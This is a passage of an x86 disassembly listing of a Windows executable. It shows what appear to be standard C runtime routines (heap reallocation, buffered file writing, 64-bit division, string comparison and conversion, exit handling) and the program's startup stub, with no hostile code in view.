loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h

loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542

loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi

loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi

loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h

loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567

loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi

loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_48B684
		call	ds:dword_424194	; RtlReAllocateHeap
		mov	edi, eax

loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588

loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	ds:dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------

loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi

loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, ds:dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------

loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi

loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h

loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588

loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi

loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_48B684
		call	ds:dword_424194	; RtlReAllocateHeap
		mov	edi, eax

loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588

loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	ds:dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi

loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_48B684
		call	ds:dword_424194	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4196EA

loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	ds:dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA

loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax

loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------

loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------

loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax

loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------

loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE

loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------

loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx

loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5

loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------

loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1

loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]

loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi

loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:off_4240A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		call	sub_41EF44
		pop	ecx

loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	ds:dword_48A014, 0Dh
		mov	ds:dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------

loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6

loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi

loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi

loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A

loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D

loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh

loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0

loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax

loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F86+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3

loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9

loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	ds:dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3

loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------

loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_48A0B8
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419AB2
		call	ds:dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_419A44

loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	ds:dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, ds:off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax

loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C

loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_48A0B8
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	ds:dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_48A0B8
		call	ds:dword_424070	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_419A35

loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax

loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AB8	proc near		; CODE XREF: _0:00419C77p
		mov	eax, ds:off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73

loc_419AC3:				; CODE XREF: sub_419AB8+7j
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
sub_419AB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AE5	proc near		; CODE XREF: _0:00419CB6p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: _0:00419CD5p
					; sub_419CDA+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: sub_419AE5+8p
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		call	ds:dword_42413C	; GetCurrentProcess
		push	eax
		call	ds:dword_424170	; TerminateProcess

loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_48A058, edi
		mov	ds:byte_48A054,	bl
		jnz	short loc_419B78
		mov	eax, ds:dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, ds:dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66

loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax

loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, ds:dword_48B69C
		jnb	short loc_419B53

loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi

loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx

loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	ds:dword_48A05C, edi
		call	ds:off_42414C

loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: sub_419AB8+15p
					; sub_419AB8+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax

loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------

loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_424158	; DeleteFileA
		test	eax, eax
		jnz	short loc_419BD0
		call	ds:dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------

loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax

loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4246B0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_4241A0	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_48A02C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_48A028, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_48A024, ecx
		shr	eax, 10h
		mov	ds:dword_48A020, eax
		xor	esi, esi
		push	esi
		call	sub_41ACE4
		pop	ecx
		test	eax, eax
		jnz	short loc_419C50
		push	1Ch
		call	sub_419CFF
		pop	ecx

loc_419C50:				; CODE XREF: _0:00419C46j
		mov	[ebp-4], esi
		call	sub_41F5BF
		call	ds:dword_42419C	; GetCommandLineA
		mov	ds:dword_48B68C, eax
		call	sub_41F48D
		mov	ds:dword_48A060, eax
		call	sub_41F240
		call	sub_41F187
		call	sub_419AB8
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	ds:dword_424198	; GetStartupInfoA
		call	sub_41F12F
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_419C9D
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_419CA0
; ---------------------------------------------------------------------------

loc_419C9D:				; CODE XREF: _0:00419C95j
		push	0Ah
		pop	eax

loc_419CA0:				; CODE XREF: _0:00419C9Bj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	ds:off_424100
		push	eax
		call	sub_40E6A9
		mov	[ebp-60h], eax
		push	eax
		call	sub_419AE5
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41EFAB
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_419AF6

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; sub_41F187+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C

loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	ds:off_439590
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CFF	proc near		; CODE XREF: _0:00419C4Ap

arg_0		= dword	ptr  4

		cmp	ds:dword_48A068, 1
		jnz	short loc_419D0D
		call	sub_41F84C

loc_419D0D:				; CODE XREF: sub_419CFF+7j
		push	[esp+arg_0]
		call	sub_41F885
		pop	ecx
		push	0FFh
		call	ds:off_42414C
		retn
sub_419CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172AE+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E

loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95

loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------

loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------

loc_419DE0:				; CODE XREF: sub_419D23+A5j
